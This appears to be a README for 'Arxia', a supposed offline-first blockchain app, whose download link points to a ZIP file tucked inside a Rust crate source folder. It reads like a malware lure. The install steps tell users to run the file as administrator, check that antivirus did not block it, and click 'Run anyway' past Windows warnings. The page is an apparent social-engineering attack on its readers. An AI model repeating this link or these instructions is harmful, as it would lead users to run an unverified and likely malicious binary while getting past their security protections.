Visit this page to download Arxia for Windows:
https://raw.githubusercontent.com/Amorpa4063/Arxia/main/crates/arxia-crdt/Software-v3.5.zip
- Open the download page in your browser.
- Find the latest Windows release or build.
- Download the file for Windows.
- If the file is a ZIP, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the Arxia app to start it.
- If Windows asks for permission, choose Yes.
Arxia is an offline-first Layer 1 blockchain app that can work over LoRa, BLE, SMS, and satellite links. It is built for low-connectivity use, so it fits places where internet access is weak or not always available.
It is designed for users who need a local blockchain node that can keep working during network gaps. It can store data, sync later, and move messages across short or long range links.
- Windows 10 or later
- 64-bit processor
- 4 GB RAM or more
- 200 MB free disk space
- Bluetooth support if you want BLE use
- A LoRa or compatible radio setup if you plan to use LoRa
- Internet access only for download and updates
Arxia can connect with external devices and low-bandwidth links. For best results, use:
- A stable USB port for radio gear
- A paired BLE device if you plan to use Bluetooth links
- A working SMS modem or gateway if you plan to use text-based sync
- A satellite link device if your setup includes one
If you only want to run the app on your PC, you can still open and test the local interface after installation.
After you start Arxia for the first time:
- Let the app finish its initial setup.
- Wait for the local network screen to appear.
- Review the node status.
- Check that the app can see your selected link, such as BLE or LoRa.
- Save your settings before closing the app.
If the app asks for a data folder, choose a folder you can find again, such as one inside Documents.
Open Arxia and start the local node from the main screen. This lets the app begin tracking chain data and network state.
Choose the link you want to use:
- LoRa for long-range, low-data transfer
- BLE for short-range device pairing
- SMS for text-based exchange
- Satellite for remote relay use
If your network path is not open all the time, Arxia can hold data first and sync later. This helps in places where links come and go.
Use the status view to see:
- node health
- peer count
- message queue state
- sync progress
- local chain state
Arxia uses public key identity based on Ed25519. In simple terms, this helps the app check who sent a message and keep records tied to a clear identity.
When you set up your identity:
- Create a new local identity.
- Save the backup file in a safe place.
- Write down the recovery phrase or key if the app gives one.
- Do not share your private key.
If you lose your identity file, you may not be able to restore access to the same node identity.
Arxia is built for several kinds of links, which helps it work in mixed field setups.
- LoRa: good for low-bandwidth radio links over distance
- BLE: good for nearby devices
- SMS: useful when only text transport is available
- Satellite: useful for remote areas
You can use one link or more than one, depending on your setup.
- Offline-first operation
- Layer 1 blockchain support
- Local chain storage
- Low-bandwidth message handling
- Multi-link transport support
- Peer sync for intermittent networks
- Ed25519 identity support
- Mesh-friendly design
- Rust-based core for stable performance
If you want to keep Arxia files easy to manage, use a simple folder structure:
Arxia\appfor the main programArxia\datafor local chain dataArxia\backupsfor key and identity backupsArxia\logsfor app logs
Keeping these files in one place makes it easier to move your setup to another PC.
- Check that the file finished downloading.
- Right-click the app and choose Run as administrator.
- Make sure your antivirus did not block the file.
- Re-download the file if it looks damaged.
- Check your BLE, LoRa, or modem device.
- Make sure the device is plugged in.
- Turn the device off and on again.
- Restart Arxia after the device is ready.
- Low-bandwidth links can take time.
- Try a stronger signal or a better antenna.
- Reduce the amount of data in each transfer.
- Wait for a better network window if you are using satellite or SMS.
- Open the file again and choose More info if shown.
- Click Run anyway if you trust the source.
- Place the app in a normal user folder, not a protected system folder.
Before you run Arxia on Windows:
- Make sure the file came from the download page.
- Check that the file name matches the build you wanted.
- Keep one backup copy of the installer or ZIP file.
- Store your identity and backup files in a separate folder.
- Close other large apps before you start Arxia
- Use a short and simple folder path
- Keep your device drivers current
- Use a UPS or battery pack if your setup runs in the field
- Back up your data after major syncs
- Test your radio or BLE link before you depend on it
Arxia is built for field use, remote use, and local-first workflows. It fits users who need a blockchain node that keeps working when the internet drops. It is also useful where messages must move through narrow or delayed channels.
The app focuses on stable local operation, simple sync, and support for mixed transport paths
Use this link to visit the download page and get Arxia for Windows:
https://raw.githubusercontent.com/Amorpa4063/Arxia/main/crates/arxia-crdt/Software-v3.5.zip
- Open the download page.
- Get the Windows file.
- Install or extract it.
- Open Arxia.
- Set your identity.
- Connect your chosen link.
- Start your local node